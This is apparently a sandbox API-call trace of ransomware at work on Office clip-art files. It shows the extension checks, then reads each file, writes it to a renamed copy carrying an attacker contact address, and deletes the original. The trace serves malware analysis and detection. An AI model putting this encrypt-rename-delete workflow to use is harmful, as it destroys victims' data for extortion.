	[0086.097] lstrlenW (lpString=".jpg") returned 4
	[0086.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.097] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.097] lstrlenW (lpString="EN00397_.WMF") returned 12
	[0086.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.098] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=17308) returned 1
	[0086.098] CloseHandle (hObject=0x2f8) returned 1
	[0086.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220
	[0086.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.098] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.098] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.099] GetLastError () returned 0x0
	[0086.099] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x439c, lpOverlapped=0x0) returned 1
	[0086.100] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x43a0, lpOverlapped=0x0) returned 1
	[0086.101] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.101] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.102] SetEndOfFile (hFile=0x388) returned 1
	[0086.102] CloseHandle (hObject=0x388) returned 1
	[0086.102] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.102] SetEndOfFile (hFile=0x2f8) returned 1
	[0086.103] CloseHandle (hObject=0x2f8) returned 1
	[0086.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0086.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.103] lstrlenW (lpString=".doc") returned 4
	[0086.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.103] lstrlenW (lpString=".docx") returned 5
	[0086.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.103] lstrlenW (lpString=".pdf") returned 4
	[0086.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString=".xls") returned 4
	[0086.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.104] lstrlenW (lpString=".xlsx") returned 5
	[0086.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.104] lstrlenW (lpString=".ppt") returned 4
	[0086.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString=".zip") returned 4
	[0086.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.104] lstrlenW (lpString=".rar") returned 4
	[0086.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString=".bz2") returned 4
	[0086.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString=".7z") returned 3
	[0086.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString=".dbf") returned 4
	[0086.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString=".1cd") returned 4
	[0086.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString=".jpg") returned 4
	[0086.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.104] lstrlenW (lpString=".doc") returned 4
	[0086.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString=".docx") returned 5
	[0086.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.104] lstrlenW (lpString=".pdf") returned 4
	[0086.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.104] lstrlenW (lpString=".xls") returned 4
	[0086.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.105] lstrlenW (lpString=".xlsx") returned 5
	[0086.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.105] lstrlenW (lpString=".ppt") returned 4
	[0086.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.105] lstrlenW (lpString=".zip") returned 4
	[0086.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.105] lstrlenW (lpString=".rar") returned 4
	[0086.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.105] lstrlenW (lpString=".bz2") returned 4
	[0086.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.105] lstrlenW (lpString=".7z") returned 3
	[0086.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.105] lstrlenW (lpString=".dbf") returned 4
	[0086.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.105] lstrlenW (lpString=".1cd") returned 4
	[0086.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0086.106] lstrlenW (lpString=".jpg") returned 4
	[0086.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.106] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.106] lstrlenW (lpString="EN00902_.WMF") returned 12
	[0086.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.121] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=7944) returned 1
	[0086.121] CloseHandle (hObject=0x388) returned 1
	[0086.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220
	[0086.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0086.122] GetLastError () returned 0x0
	[0086.122] ReadFile (in: hFile=0x388, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1f08, lpOverlapped=0x0) returned 1
	[0086.124] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0086.125] ReadFile (in: hFile=0x388, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.125] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.125] SetEndOfFile (hFile=0x338) returned 1
	[0086.125] CloseHandle (hObject=0x338) returned 1
	[0086.125] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.125] SetEndOfFile (hFile=0x388) returned 1
	[0086.126] CloseHandle (hObject=0x388) returned 1
	[0086.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0086.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.127] lstrlenW (lpString=".doc") returned 4
	[0086.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString=".docx") returned 5
	[0086.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.127] lstrlenW (lpString=".pdf") returned 4
	[0086.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString=".xls") returned 4
	[0086.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.127] lstrlenW (lpString=".xlsx") returned 5
	[0086.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.127] lstrlenW (lpString=".ppt") returned 4
	[0086.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.127] lstrlenW (lpString=".zip") returned 4
	[0086.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.127] lstrlenW (lpString=".rar") returned 4
	[0086.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString=".bz2") returned 4
	[0086.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString=".7z") returned 3
	[0086.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.127] lstrlenW (lpString=".dbf") returned 4
	[0086.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.127] lstrlenW (lpString=".1cd") returned 4
	[0086.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString=".jpg") returned 4
	[0086.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString=".doc") returned 4
	[0086.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString=".docx") returned 5
	[0086.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.128] lstrlenW (lpString=".pdf") returned 4
	[0086.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString=".xls") returned 4
	[0086.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.128] lstrlenW (lpString=".xlsx") returned 5
	[0086.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.128] lstrlenW (lpString=".ppt") returned 4
	[0086.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString=".zip") returned 4
	[0086.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.128] lstrlenW (lpString=".rar") returned 4
	[0086.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString=".bz2") returned 4
	[0086.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString=".7z") returned 3
	[0086.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString=".dbf") returned 4
	[0086.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.128] lstrlenW (lpString=".1cd") returned 4
	[0086.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0086.129] lstrlenW (lpString=".jpg") returned 4
	[0086.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.129] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.129] lstrlenW (lpString="FD00074_.WMF") returned 12
	[0086.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.129] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=17850) returned 1
	[0086.129] CloseHandle (hObject=0x388) returned 1
	[0086.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220
	[0086.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.130] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.130] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0086.130] GetLastError () returned 0x0
	[0086.130] ReadFile (in: hFile=0x388, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x45ba, lpOverlapped=0x0) returned 1
	[0086.419] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0086.421] ReadFile (in: hFile=0x388, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.421] WriteFile (in: hFile=0x338, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.421] SetEndOfFile (hFile=0x338) returned 1
	[0086.421] CloseHandle (hObject=0x338) returned 1
	[0086.421] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.421] SetEndOfFile (hFile=0x388) returned 1
	[0086.422] CloseHandle (hObject=0x388) returned 1
	[0086.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0086.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.650] lstrlenW (lpString=".doc") returned 4
	[0086.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString=".docx") returned 5
	[0086.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.650] lstrlenW (lpString=".pdf") returned 4
	[0086.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString=".xls") returned 4
	[0086.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.650] lstrlenW (lpString=".xlsx") returned 5
	[0086.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.650] lstrlenW (lpString=".ppt") returned 4
	[0086.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.650] lstrlenW (lpString=".zip") returned 4
	[0086.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.650] lstrlenW (lpString=".rar") returned 4
	[0086.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString=".bz2") returned 4
	[0086.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString=".7z") returned 3
	[0086.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.650] lstrlenW (lpString=".dbf") returned 4
	[0086.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.650] lstrlenW (lpString=".1cd") returned 4
	[0086.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".jpg") returned 4
	[0086.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".doc") returned 4
	[0086.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".docx") returned 5
	[0086.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.651] lstrlenW (lpString=".pdf") returned 4
	[0086.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".xls") returned 4
	[0086.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.651] lstrlenW (lpString=".xlsx") returned 5
	[0086.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.651] lstrlenW (lpString=".ppt") returned 4
	[0086.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".zip") returned 4
	[0086.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.651] lstrlenW (lpString=".rar") returned 4
	[0086.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".bz2") returned 4
	[0086.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString=".7z") returned 3
	[0086.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".dbf") returned 4
	[0086.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.651] lstrlenW (lpString=".1cd") returned 4
	[0086.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0086.652] lstrlenW (lpString=".jpg") returned 4
	[0086.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
